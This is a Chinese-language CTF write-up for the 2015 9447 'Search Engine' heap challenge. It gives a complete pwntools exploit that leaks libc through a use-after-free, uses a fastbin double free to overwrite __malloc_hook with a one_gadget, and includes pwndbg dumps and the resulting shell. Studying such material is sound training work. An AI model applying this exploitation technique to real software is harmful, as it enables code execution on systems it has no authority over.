Fastbin Attack:2015 9447 CTF : Search Engine

struct node
{
char * ptr_cmd; 索引字符串的起始地址, 用于搜索字符串的 命令
int cmd_size; 索引字符串的大小
char * ptr_sentence; 句子的其实地址
int sentence_size; 句子的大小
void * pre_node; 上一个节点
}

exp

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./search"
search = context.binary
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./search")
log.info('PID: ' + str(proc.pidof(p)[0]))

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    
    #bin[0]和 bin[127]都不存在,bin[1]为 unsorted bin 的 chunk 链表头
    offset -= word_bytes * 2  # bin overlap  #prev_size, size 复用了 top,last_remainder
    return offset

def index_sentence(s):
    p.recvuntil("3: Quit\n")
    p.sendline('2')
    p.recvuntil("Enter the sentence size:\n")
    p.sendline(str(len(s)))
    p.send(s)

def search_word(word):
    p.recvuntil("3: Quit\n")
    p.sendline('1')
    p.recvuntil("Enter the word size:\n")
    p.sendline(str(len(word)))
    p.send(word)

def leak_libc():
    smallbin_sentence = 's' * 0x85 + ' m '
    index_sentence(smallbin_sentence)
    search_word('m')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
	#gdb.attach(p)
    search_word('\x00')
    p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
    unsortedbin_addr= u64(p.recv(8))
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('n')
    return unsortedbin_addr

def exp():
    # 1. leak libc base
    main_arena_offset = 0x3c4b20
    unsortedbin_offset_main_arena = offset_bin_main_arena(0)  # 0x58
    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
    libc_base = main_arena_addr - main_arena_offset
    log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
    log.success('libc base addr: ' + hex(libc_base))
    gdb.attach(p)
    # 2. create cycle fastbin 0x70 size
    index_sentence('a' * 0x5d + ' d ')  #a
    index_sentence('b' * 0x5d + ' d ')  #b
    index_sentence('c' * 0x5d + ' d ')  #c

    # a->b->c->NULL
    search_word('d')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')

    # b->a->b->a->...    这里是利用"\00"绕过判断进行double free
    '''
    #首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
    删除b之后,b->fd = c 变为 b->fd = a
    所以为: b->a->b->a->...
    '''
    search_word('\x00')    
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除b
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除a
    p.sendline('n')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除  libc_leak的时候添加的sentence
    p.sendline('n')

    # 3. fastbin attack to malloc_hook nearby chunk
    fake_chunk_addr = main_arena_addr - 0x33
    fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')

    index_sentence(fake_chunk)

    index_sentence('a' * 0x60)
    index_sentence('b' * 0x60)

    one_gadget_addr = libc_base + 0xf02a4
    payload = 'a' * 0x13 + p64(one_gadget_addr)
    payload = payload.ljust(0x60, 'f')

    index_sentence(payload)
    p.interactive()

if __name__ == "__main__":
    exp()

1. 泄露基地址

添加句子:添加一个node,并且保证sentence_chunk属于small bin

申请一个 small chunk

 smallbin_sentence = 's' * 0x85 + ' m '
 index_sentence(smallbin_sentence)

查看内存信息:

pwndbg> x/10xg 0x06020B8
0x6020b8:	0x00000000006034e0  ptr_centence_struct	0x0000000000000000
0x6020c8:	0x0000000000000000	0x0000000000000000
0x6020d8:	0x0000000000000000	0x0000000000000000
0x6020e8:	0x0000000000000000	0x0000000000000000
0x6020f8:	0x0000000000000000	0x0000000000000000
pwndbg> x/10xg 0x00000000006034d0	ptr_sentence_chunk
0x6034d0:	0x0000000000000000	0x0000000000000031
0x6034e0:	0x00000000006034a6	ptr_cmd			0x0000000000000001		cmd_size
0x6034f0:	0x0000000000603420	ptr_sentence 	0x0000000000000088		 sentence_size
0x603500:	0x00000000006034b0	0x0000000000000031
0x603510:	0x0000000000000000	0x0000000000000000
pwndbg> x/10xg 0x0000000000603420	ptr_sentence
0x603420:	0x7373737373737373	0x7373737373737373
0x603430:	0x7373737373737373	0x7373737373737373
0x603440:	0x7373737373737373	0x7373737373737373
0x603450:	0x7373737373737373	0x7373737373737373

删除句子:删除一个node ,free chunk 放入unsortbin中

p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')  		删除堆块

再删除句子之前,会先将句子清空,(注意:ptr_cmd指针指向的 命令置为 0
ida中对应的源码如下:

memset(i->ptr_sentence, 0, i->sentence_size);
free(i->ptr_sentence);

查看内存:

pwndbg> x/2xb 0x00000000006034a6	ptr_cmd	:cmd命令被置为 00
0x6034a6:	0x00	0x00

bins:
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603410 ◂— 0x7ffff7dd1b78

0x603410 PREV_INUSE {
  prev_size = 0x0,
  size = 0x91,
  fd = 0x7ffff7dd1b78,
  bk = 0x7ffff7dd1b78,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}

上面可以看到freechunk的bk和fd都指向于malloc_state结构体中的unsortedbin的bin头处,因为unsorted bin :chunk->prev_size, chunk->size复用了 top、last_remainder 的空间,所以 fd指向 top

pwndbg> p main_arena
$2 = {
  mutex = 0, 
  flags = 0, 
  fastbinsY = {0x603530, 0x603500, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603550, 
  last_remainder = 0x0, 
  # fd = 0x7ffff7dd1b78,  bk = 0x7ffff7dd1b78,
  bins = {0x603410, 0x603410, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7ffff7dd1b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

绕过memcmp检查

memcmp(i->ptr_cmd, pmalloc, read_size)
ptr_cmd 指针所指的 cmd 内存被填充了0,那么我们可以认为 命令为 00,则我们可以通过发送 00 命令来绕过检查

search_word('\x00') 	# 此时 0 为 删除了的句子的查找命令

因为删除句子之后,并没有将 ptr_sentence 指针置NULL,所以存在UAF漏洞;
但我们再次查找删除的句子时,依然将 ptr_sentence 所对应的内容输出,
而此时,ptr_sentence 对应的chunk为 unsorted chunk,对应的内容为:

0x0000000000603420	ptr_sentence
pwndbg> x/20xg 0x0000000000603420
0x603420:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x603430:	0x0000000000000000	0x0000000000000000

unsortedbin		#0x603410 为 ptr_sentence 所对应的chunk
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603410 ◂— 0x7ffff7dd1b78

注:bk和fd都指向于malloc_state结构体中的bins链头处

由此我们可知,绕过memcmp检查检查后,输出的内容为 :
malloc_state结构体中所对应的 bin 链中 unsortedbin 的地址,因此可以通过泄露的 unsortedbin_addr 计算出 基地址 libc_base

    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - bins_1_offset_main_arena
	# main_arena_offset = 0x3c4b20
    libc_base = main_arena_addr - main_arena_offset

2. create cycle fastbin 0x70 size

	index_sentence('a' * 0x5d + ' d ')  #a
	index_sentence('b' * 0x5d + ' d ')  #b
	index_sentence('c' * 0x5d + ' d ')  #c
'''
#index_sentence('a' * 0x5d + ' d ')  #a
0x10bc1b0 FASTBIN {
  prev_size = 0x10bc160,
  size = 0x71,
  fd = 0x6262626262626262,
  bk = 0x6262626262626262,
  fd_nextsize = 0x6262626262626262,
  bk_nextsize = 0x6262626262626262,
}
#index_sentence('a' * 0x5d + ' d ')  #b
0x10bc250 FASTBIN {
  prev_size = 0x10bc190,
  size = 0x31,
  fd = 0x10bc290,
  bk = 0x5d,
  fd_nextsize = 0x10bc290,
  bk_nextsize = 0x60,
}
#index_sentence('a' * 0x5d + ' d ')  #c
0x10bc280 FASTBIN {
  prev_size = 0x10bc230,
  size = 0x71,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363,
}
'''
    # a->b->c->NULL
    search_word('d')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('y')

    # b->a->b->a->...    这里是利用"\00"绕过判断进行double free
    '''
    #首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
    删除b之后,b->fd = c 变为 b->fd = a
    所以为: b->a->b->a->...
    '''
    search_word('\x00')    
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除b
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除a
    p.sendline('n')
    p.recvuntil('Delete this sentence (y/n)?\n')    #删除  libc_leak的时候添加的sentence
    p.sendline('n')

3. fastbin attack to malloc_hook nearby chunk

'''
指定地点,构造chunk  
pwndbg> x/50xg 0x7f900b069b20 - 0x33
0x7f900b069aed <_IO_wide_data_0+301>:	0x900b068260000000	0x000000000000007f
'''
fake_chunk_addr = main_arena_addr - 0x33
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
'''
b->a->b->a
修改 b->fk = a ⇒  b->fk = fake_chunk
'''
index_sentence(fake_chunk)
'''
此时 fastbin:
a->b->fake_chunk
'''
index_sentence('a' * 0x60) 	# 使用 a

index_sentence('b' * 0x60)	# 使用 b
'''libc.so.6  gadget
.text:00000000000F02A4                mov     rax, cs:environ_ptr_0
.text:00000000000F02AB                 lea     rsi, [rsp+1B8h+var_168]
.text:00000000000F02B0                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F02B7                 mov     rdx, [rax]
.text:00000000000F02BA                 call    execve
'''
one_gadget_addr = libc_base + 0xf02a4

'''
0x7f900b069b10 <__malloc_hook> = fake_chunk_addr + 0x10 +  0x13 = main_arena_addr - 0x33 + 0x10 + 0x13 = main_arena_addr - 0x10
0x7f900b069b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f900b069b20 <main_arena>:	0x0000000000000000	0x000000000259a130
'''
payload = 'a' * 0x13 + p64(one_gadget_addr)  # 修改__malloc_hook 中的地址为 gadget
payload = payload.ljust(0x60, 'f')

index_sentence(payload) # 使用指定的 fake_chunk,并修改了 __malloc_hook 中的地址

至此,当程序中再次调用 malloc时,就会调用我们指定的 gadgets,获取shell

exp执行结果

[*] Switching to interactive mode
Enter the sentence:
$ ls
fastbin_attack    fastbin_attack.c  search  search_exp.py

漏洞的技巧点

技巧①:我们malloc的时候,尽量malloc一个大小在0x70~0x80之间的堆块(因此malloc的参数要为0x60~0x70之间),因为这样我们的目标地址就会被放入0x70~0x80大小范围的fastbin链中,此时我们去构造堆块的时候,由于系统中0x7f这样的数值比较好找,所以能够构造0x7f这样的数值来跳过glibc的检测一
技巧②:接着技巧①,如果此时我们没有数值为0x7f这样的地址来让我们构造,那么我们就需要使用借助unsortedbin attack了,利用unsortedbin attack向我们的目标地址处写入一个0x7f的数值

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
https://blog.csdn.net/qq_41453285/article/details/99315504

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值